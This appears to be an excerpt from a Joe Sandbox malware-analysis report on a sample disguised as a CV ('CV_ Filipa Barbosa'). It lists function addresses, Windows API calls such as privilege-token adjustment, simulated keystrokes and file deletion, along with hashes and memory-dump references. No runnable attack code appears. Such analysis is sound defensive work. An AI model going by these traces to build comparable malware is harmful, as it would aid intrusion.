                                                                          • Opcode ID: b07156d7b6bc8bbeec4812ece7b368519e022618f1f27ce7c84a0d3c47bb7fd1
                                                                          • Instruction ID: 4f7e524452b1a3bd5a33dbdb7f056ac9be126e7d091365c7662e09b2f09c07f1
                                                                          • Opcode Fuzzy Hash: b07156d7b6bc8bbeec4812ece7b368519e022618f1f27ce7c84a0d3c47bb7fd1
                                                                          • Instruction Fuzzy Hash: 8A413B745046518FDB24DF18C484B1ABFE1BF8A354F1989ACE99A4B3A2C372E845CF52
                                                                          Function 005941A9 Relevance: 1.6, APIs: 1, Instructions: 63libraryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 00594214: FreeLibrary.KERNEL32(00000000,?), ref: 00594247
                                                                          • LoadLibraryExW.KERNEL32(00000001,00000000,00000002,?,?,?,?,005939FE,?,00000001), ref: 005941DB
                                                                            • Part of subcall function 00594291: FreeLibrary.KERNEL32(00000000), ref: 005942C4
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Library$Free$Load
                                                                          • String ID:
                                                                          • API String ID: 2391024519-0
                                                                          • Opcode ID: a192e6b6a7e97460ee8d187eb6692efea9f32b295695c9dfe7bac16606ee7ea5
                                                                          • Instruction ID: 07c8cc1f0c1b6fccbd1d633dc7bfb16111288dcad4e710c47427e58d33f81cda
                                                                          • Opcode Fuzzy Hash: a192e6b6a7e97460ee8d187eb6692efea9f32b295695c9dfe7bac16606ee7ea5
                                                                          • Instruction Fuzzy Hash: 6C11AB35600207AADF14AB74DD0AF9E7BE6BFC0704F108429F556A61C1DF749E029F60
                                                                          Function 00609B45 Relevance: 1.6, APIs: 1, Instructions: 62COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: ClearVariant
                                                                          • String ID:
                                                                          • API String ID: 1473721057-0
                                                                          • Opcode ID: e18f4fc15187d6356e915e887788df54897d6504fc33067fedab03169d247899
                                                                          • Instruction ID: 43a338e3f50b1d518c1b12b577c1a24fca3e8eb25389e835e8c258ed09364b9f
                                                                          • Opcode Fuzzy Hash: e18f4fc15187d6356e915e887788df54897d6504fc33067fedab03169d247899
                                                                          • Instruction Fuzzy Hash: 2F210574508702CFDB24DF68C448B1EBFE1BF8A344F158968E99A4B262D772E845CF52
                                                                          Function 005BAF61 Relevance: 1.6, APIs: 1, Instructions: 56COMMONLIBRARYCODE
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • ___lock_fhandle.LIBCMT ref: 005BAFC0
                                                                            • Part of subcall function 005B7BDA: __getptd_noexit.LIBCMT ref: 005B7BDA
                                                                            • Part of subcall function 005B7C0E: __getptd_noexit.LIBCMT ref: 005B7C0E
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: __getptd_noexit$___lock_fhandle
                                                                          • String ID:
                                                                          • API String ID: 1144279405-0
                                                                          • Opcode ID: 1cd9689da0bf9ddfc1894a5d350452e16c728dd5ee347a799a4de86c0d8e0298
                                                                          • Instruction ID: cbd1b089f299aa7078ee5d35c9c080287fd1801bf69a4ba8621b50d5500dd6ac
                                                                          • Opcode Fuzzy Hash: 1cd9689da0bf9ddfc1894a5d350452e16c728dd5ee347a799a4de86c0d8e0298
                                                                          • Instruction Fuzzy Hash: 4F1160728096099FE712BFA4884A7E93E61BFC5332F254644E4741B1E2D7F8BD009BA1
                                                                          Function 005939DB Relevance: 1.5, APIs: 1, Instructions: 41COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: LibraryLoad
                                                                          • String ID:
                                                                          • API String ID: 1029625771-0
                                                                          • Opcode ID: 279f5f87aea4605f70f2d64a128fa314d82d263771f3b219d5efef33e318cff7
                                                                          • Instruction ID: 91b62de05d4dbad8093628b9b52065bce3bad6cbed1042ac49d7d47c894add8f
                                                                          • Opcode Fuzzy Hash: 279f5f87aea4605f70f2d64a128fa314d82d263771f3b219d5efef33e318cff7
                                                                          • Instruction Fuzzy Hash: 5C016D3144010BEECF05EFA4C896CEEBF75BE61344F10806AA522961A5EA309A49DF60
                                                                          Function 005B2AAE Relevance: 1.5, APIs: 1, Instructions: 35COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • __lock_file.LIBCMT ref: 005B2AED
                                                                            • Part of subcall function 005B7C0E: __getptd_noexit.LIBCMT ref: 005B7C0E
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: __getptd_noexit__lock_file
                                                                          • String ID:
                                                                          • API String ID: 2597487223-0
                                                                          • Opcode ID: d0a4e8da3d70b743d3da8edbcdfaa9ff88bd1291618513fd6d336976acdb5380
                                                                          • Instruction ID: 459e270a06b778d9a7b803d00fb9dd34e09683f8fc7cc2e07e9f9e97dcb4182a
                                                                          • Opcode Fuzzy Hash: d0a4e8da3d70b743d3da8edbcdfaa9ff88bd1291618513fd6d336976acdb5380
                                                                          • Instruction Fuzzy Hash: F1F06231500206AADF21BF65CC0A7DF3EA5BF80310F254515F4149A191D7B8EA52DB61
                                                                          Function 00594252 Relevance: 1.5, APIs: 1, Instructions: 28COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • FreeLibrary.KERNEL32(?,?,?,?,?,005939FE,?,00000001), ref: 00594286
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: FreeLibrary
                                                                          • String ID:
                                                                          • API String ID: 3664257935-0
                                                                          • Opcode ID: 16062079ff0519a927e6f1d2b63f209bca6673864c3dc55d92f5e90dd6683ccd
                                                                          • Instruction ID: 8777f91cecf0b190e052e5e1ba5a1ace7b8782ec758a023729f52f3ea49d169a
                                                                          • Opcode Fuzzy Hash: 16062079ff0519a927e6f1d2b63f209bca6673864c3dc55d92f5e90dd6683ccd
                                                                          • Instruction Fuzzy Hash: 58F0F279505712DFCF349F64A894C56BBE5BA043257288A2EE19682610C732AC44DF50
                                                                          Function 005940A7 Relevance: 1.5, APIs: 1, Instructions: 23COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 005940C6
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: LongNamePath
                                                                          • String ID:
                                                                          • API String ID: 82841172-0
                                                                          • Opcode ID: fa9200d5146c126f6355331922eaa4f54ff3a60fa945a6c2c9f2ee9b065501af
                                                                          • Instruction ID: 3e8acf581c5ffdabf581139c0b3295022ebd0589d28419a12b91f724b3d715cc
                                                                          • Opcode Fuzzy Hash: fa9200d5146c126f6355331922eaa4f54ff3a60fa945a6c2c9f2ee9b065501af
                                                                          • Instruction Fuzzy Hash: ACE0CD375001255BC7119658CC46FEA779DEFC8690F094075F905D7244D974A9818690
                                                                          Function 013F4D08 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • Sleep.KERNELBASE(000001F4), ref: 013F4D19
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519701964.00000000013F2000.00000040.00000020.00020000.00000000.sdmp, Offset: 013F2000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_13f2000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Sleep
                                                                          • String ID:
                                                                          • API String ID: 3472027048-0
                                                                          • Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                                                                          • Instruction ID: cbff48a5d5d92d794ee59e680c9a5fadf9dc5ca1ec5d70b7b2293ef2ffce6536
                                                                          • Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                                                                          • Instruction Fuzzy Hash: 0EE0E67494110DDFDB00DFB4D5496AE7BB4EF04301F100565FD01D2281D6309D508A62

                                                                          Non-executed Functions

                                                                          Function 005FF7FF Relevance: 74.1, APIs: 40, Strings: 2, Instructions: 630windowkeyboardCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 005AB34E: GetWindowLongW.USER32(?,000000EB), ref: 005AB35F
                                                                          • DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?,?), ref: 005FF87D
                                                                          • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 005FF8DC
                                                                          • GetWindowLongW.USER32(?,000000F0), ref: 005FF919
                                                                          • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 005FF940
                                                                          • SendMessageW.USER32 ref: 005FF966
                                                                          • _wcsncpy.LIBCMT ref: 005FF9D2
                                                                          • GetKeyState.USER32(00000011), ref: 005FF9F3
                                                                          • GetKeyState.USER32(00000009), ref: 005FFA00
                                                                          • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 005FFA16
                                                                          • GetKeyState.USER32(00000010), ref: 005FFA20
                                                                          • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 005FFA4F
                                                                          • SendMessageW.USER32 ref: 005FFA72
                                                                          • SendMessageW.USER32(?,00001030,?,005FE059), ref: 005FFB6F
                                                                          • ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?,?), ref: 005FFB85
                                                                          • ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 005FFB96
                                                                          • SetCapture.USER32(?), ref: 005FFB9F
                                                                          • ClientToScreen.USER32(?,?), ref: 005FFC03
                                                                          • ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 005FFC0F
                                                                          • InvalidateRect.USER32(?,00000000,00000001,?,?,?,?), ref: 005FFC29
                                                                          • ReleaseCapture.USER32 ref: 005FFC34
                                                                          • GetCursorPos.USER32(?), ref: 005FFC69
                                                                          • ScreenToClient.USER32(?,?), ref: 005FFC76
                                                                          • SendMessageW.USER32(?,00001012,00000000,?), ref: 005FFCD8
                                                                          • SendMessageW.USER32 ref: 005FFD02
                                                                          • SendMessageW.USER32(?,00001111,00000000,?), ref: 005FFD41
                                                                          • SendMessageW.USER32 ref: 005FFD6C
                                                                          • SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 005FFD84
                                                                          • SendMessageW.USER32(?,0000110B,00000009,?), ref: 005FFD8F
                                                                          • GetCursorPos.USER32(?), ref: 005FFDB0
                                                                          • ScreenToClient.USER32(?,?), ref: 005FFDBD
                                                                          • GetParent.USER32(?), ref: 005FFDD9
                                                                          • SendMessageW.USER32(?,00001012,00000000,?), ref: 005FFE3F
                                                                          • SendMessageW.USER32 ref: 005FFE6F
                                                                          • ClientToScreen.USER32(?,?), ref: 005FFEC5
                                                                          • TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 005FFEF1
                                                                          • SendMessageW.USER32(?,00001111,00000000,?), ref: 005FFF19
                                                                          • SendMessageW.USER32 ref: 005FFF3C
                                                                          • ClientToScreen.USER32(?,?), ref: 005FFF86
                                                                          • TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 005FFFB6
                                                                          • GetWindowLongW.USER32(?,000000F0), ref: 0060004B
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend$ClientScreen$Image$CursorDragList_LongStateWindow$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease_wcsncpy
                                                                          • String ID: @GUI_DRAGID$F
                                                                          • API String ID: 2516578528-4164748364
                                                                          • Opcode ID: f7237035a0d11030af7eb07542c7ce175f5e72fc32943db353dab354ad560391
                                                                          • Instruction ID: 195ed884114bfbd3de12545101e94de14b5bfb40632dd504590b7809f36d8540
                                                                          • Opcode Fuzzy Hash: f7237035a0d11030af7eb07542c7ce175f5e72fc32943db353dab354ad560391
                                                                          • Instruction Fuzzy Hash: 0932BB75604349AFDB10CF28C884BBABFAAFF49394F180A29F695976A1C735DC04CB51
                                                                          Function 005FAACE Relevance: 60.1, APIs: 33, Strings: 1, Instructions: 574windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SendMessageW.USER32(?,00000400,00000000,00000000), ref: 005FB1CD
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend
                                                                          • String ID: %d/%02d/%02d
                                                                          • API String ID: 3850602802-328681919
                                                                          • Opcode ID: 1d0e9296d160d6d7f7e9b20bda59ddfc108c11c2a6c1a0a96e7305e81089a370
                                                                          • Instruction ID: e12369bae5dc1815e6a536b617294b808d894bbec04849c648f90944ef9cf2a7
                                                                          • Opcode Fuzzy Hash: 1d0e9296d160d6d7f7e9b20bda59ddfc108c11c2a6c1a0a96e7305e81089a370
                                                                          • Instruction Fuzzy Hash: 3112CFB1500219ABEB249F64CC49FBE7FB9FF89310F148519FA19DA2D0DB788941CB52
                                                                          Function 005AEB42 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 130keyboardthreadwindowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetForegroundWindow.USER32(00000000,00000000), ref: 005AEB4A
                                                                          • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00603AEA
                                                                          • IsIconic.USER32(000000FF), ref: 00603AF3
                                                                          • ShowWindow.USER32(000000FF,00000009), ref: 00603B00
                                                                          • SetForegroundWindow.USER32(000000FF), ref: 00603B0A
                                                                          • GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00603B20
                                                                          • GetCurrentThreadId.KERNEL32 ref: 00603B27
                                                                          • GetWindowThreadProcessId.USER32(000000FF,00000000), ref: 00603B33
                                                                          • AttachThreadInput.USER32(000000FF,00000000,00000001), ref: 00603B44
                                                                          • AttachThreadInput.USER32(000000FF,00000000,00000001), ref: 00603B4C
                                                                          • AttachThreadInput.USER32(00000000,?,00000001), ref: 00603B54
                                                                          • SetForegroundWindow.USER32(000000FF), ref: 00603B57
                                                                          • MapVirtualKeyW.USER32(00000012,00000000), ref: 00603B6C
                                                                          • keybd_event.USER32(00000012,00000000), ref: 00603B77
                                                                          • MapVirtualKeyW.USER32(00000012,00000000), ref: 00603B81
                                                                          • keybd_event.USER32(00000012,00000000), ref: 00603B86
                                                                          • MapVirtualKeyW.USER32(00000012,00000000), ref: 00603B8F
                                                                          • keybd_event.USER32(00000012,00000000), ref: 00603B94
                                                                          • MapVirtualKeyW.USER32(00000012,00000000), ref: 00603B9E
                                                                          • keybd_event.USER32(00000012,00000000), ref: 00603BA3
                                                                          • SetForegroundWindow.USER32(000000FF), ref: 00603BA6
                                                                          • AttachThreadInput.USER32(000000FF,?,00000000), ref: 00603BCD
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
                                                                          • String ID: Shell_TrayWnd
                                                                          • API String ID: 4125248594-2988720461
                                                                          • Opcode ID: 97a279b68becd47e301b2830b7fb7536634def3ea5fa28c49c91167cf305b809
                                                                          • Instruction ID: 9b91b7d1bfc97371face00d720a80199bfa127fda54552cc61df5aa1dd60bbcc
                                                                          • Opcode Fuzzy Hash: 97a279b68becd47e301b2830b7fb7536634def3ea5fa28c49c91167cf305b809
                                                                          • Instruction Fuzzy Hash: 1B318971A803287FEB205B658C4AFBF7F6EEB44B55F148016FA05EA2D0D7B15D019AA0
                                                                          Function 005CACC5 Relevance: 37.0, APIs: 17, Strings: 4, Instructions: 223COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 005CB134: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 005CB180
                                                                            • Part of subcall function 005CB134: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 005CB1AD
                                                                            • Part of subcall function 005CB134: GetLastError.KERNEL32 ref: 005CB1BA
                                                                          • _memset.LIBCMT ref: 005CAD08
                                                                          • DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 005CAD5A
                                                                          • CloseHandle.KERNEL32(?), ref: 005CAD6B
                                                                          • OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 005CAD82
                                                                          • GetProcessWindowStation.USER32 ref: 005CAD9B
                                                                          • SetProcessWindowStation.USER32(00000000), ref: 005CADA5
                                                                          • OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 005CADBF
                                                                            • Part of subcall function 005CAB84: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,005CACC0), ref: 005CAB99
                                                                            • Part of subcall function 005CAB84: CloseHandle.KERNEL32(?,?,005CACC0), ref: 005CABAB
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
                                                                          • String ID: $H*d$default$winsta0
                                                                          • API String ID: 2063423040-1395608733
                                                                          • Opcode ID: a3e723171c5adf22769ba9ff39e532519aff46c1f7be4c0be31b85d80fc45e6a
                                                                          • Instruction ID: 132e40f72106df8925b868abd3acbce59432f01e83f3d6caa4f395f5a3a03145
                                                                          • Opcode Fuzzy Hash: a3e723171c5adf22769ba9ff39e532519aff46c1f7be4c0be31b85d80fc45e6a
                                                                          • Instruction Fuzzy Hash: 408115B580020DAEDF119FE4DC49EEEBF79FF08308F18811AF914A61A1D7718A55DBA1
                                                                          Function 005D60DD Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 174filestringCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 005D6EBB: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,005D5FA6,?), ref: 005D6ED8
                                                                            • Part of subcall function 005D6EBB: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,005D5FA6,?), ref: 005D6EF1
                                                                            • Part of subcall function 005D725E: __wsplitpath.LIBCMT ref: 005D727B
                                                                            • Part of subcall function 005D725E: __wsplitpath.LIBCMT ref: 005D728E
                                                                            • Part of subcall function 005D72CB: GetFileAttributesW.KERNEL32(?,005D6019), ref: 005D72CC
                                                                          • _wcscat.LIBCMT ref: 005D6149
                                                                          • _wcscat.LIBCMT ref: 005D6167
                                                                          • __wsplitpath.LIBCMT ref: 005D618E
                                                                          • FindFirstFileW.KERNEL32(?,?), ref: 005D61A4
                                                                          • _wcscpy.LIBCMT ref: 005D6209
                                                                          • _wcscat.LIBCMT ref: 005D621C
                                                                          • _wcscat.LIBCMT ref: 005D622F
                                                                          • lstrcmpiW.KERNEL32(?,?), ref: 005D625D
                                                                          • DeleteFileW.KERNEL32(?), ref: 005D626E
                                                                          • MoveFileW.KERNEL32(?,?), ref: 005D6289
                                                                          • MoveFileW.KERNEL32(?,?), ref: 005D6298
                                                                          • CopyFileW.KERNEL32(?,?,00000000), ref: 005D62AD
                                                                          • DeleteFileW.KERNEL32(?), ref: 005D62BE
                                                                          • FindNextFileW.KERNEL32(00000000,00000010), ref: 005D62E1
                                                                          • FindClose.KERNEL32(00000000), ref: 005D62FD
                                                                          • FindClose.KERNEL32(00000000), ref: 005D630B
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: File$Find_wcscat$__wsplitpath$CloseDeleteFullMoveNamePath$AttributesCopyFirstNext_wcscpylstrcmpi
                                                                          • String ID: \*.*$p1Wu`KXu
                                                                          • API String ID: 1917200108-2866000061
                                                                          • Opcode ID: 81ba78da94a1dc10f98263f1aff6f3fd868a00477b4b75cbfe09e595adf2c044
                                                                          • Instruction ID: 89bcabd7cb07db9b74ba93ef38d1a9ea32bf9ef15513795ca2fa01387f204814
                                                                          • Opcode Fuzzy Hash: 81ba78da94a1dc10f98263f1aff6f3fd868a00477b4b75cbfe09e595adf2c044
                                                                          • Instruction Fuzzy Hash: 2451307280811D6ACB21EB95CC49DDBBBBCBF45300F0945E7E585E3241DB36978A8FA4
